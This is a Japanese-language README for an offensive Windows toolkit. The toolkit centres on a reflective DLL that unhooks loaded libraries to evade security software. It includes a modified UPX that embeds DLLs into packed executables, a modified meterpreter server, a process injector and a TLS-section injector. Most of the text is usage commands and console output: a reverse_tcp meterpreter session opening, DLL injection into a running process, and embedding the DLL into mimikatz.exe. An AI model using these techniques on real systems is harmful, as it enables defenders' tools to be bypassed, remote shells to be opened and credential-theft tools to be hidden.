
プロセスメモリをスキャンし、ロードされたライブラリをアンフックしてセキュリティソフトウェアを回避するリフレクティブDLL。UPX、TLSインジェクター、Meterpreter統合を備えています。
DLLRefresher.exe は、プロセスのメモリ空間をスキャンし、現在読み込まれているライブラリのフックを解除するためのスタンドアロンのテストハーネスです。
パッケージ化された UPX バイナリは、パックされたバイナリに埋め込むための追加パラメータ (-X <path/to/target.dll>) をサポートするように変更されています。最終的な UPX パック済みバイナリは、メモリ内で対象の実行ファイルを展開し、実行ファイルの元のエントリポイントにジャンプする前に埋め込まれた DLL を呼び出します。
変更された UPX のソースは https://github.com/CylanceVulnResearch/upx/tree/reflective_dll にあります。
使用方法:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
例:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
metsrv.dll (meterpreter フォルダ内の関連プラグインを含む) は、meterpreter の初期化を実行する前に現在読み込まれているライブラリのフックを解除する、変更された meterpreter サーバーです。
使用方法:
meterpreter フォルダ内のすべての DLL を metasploit-framework/data/meterpreter/ にコピーし、通常どおり対象上で meterpreter を実行します。
例:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe は、指定した DLL を任意のプロセスにインジェクトするためのヘルパーユーティリティです。
使用方法:
Inject.exe <pid> <filename>
例:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
DLL は、post/windows/manage/reflective_dll_inject モジュールを使用して meterpreter セッション経由でインジェクトできます。
使用方法:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
例:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py は、リフレクティブ DLL インジェクションをサポートするために Borja Merino のスクリプトを変更したバージョンです。リフレクティブ DLL を受け取り、32 ビット実行ファイルの TLS セクションにインジェクトします (64 ビットはサポートされていません)。
使用方法:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
例:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t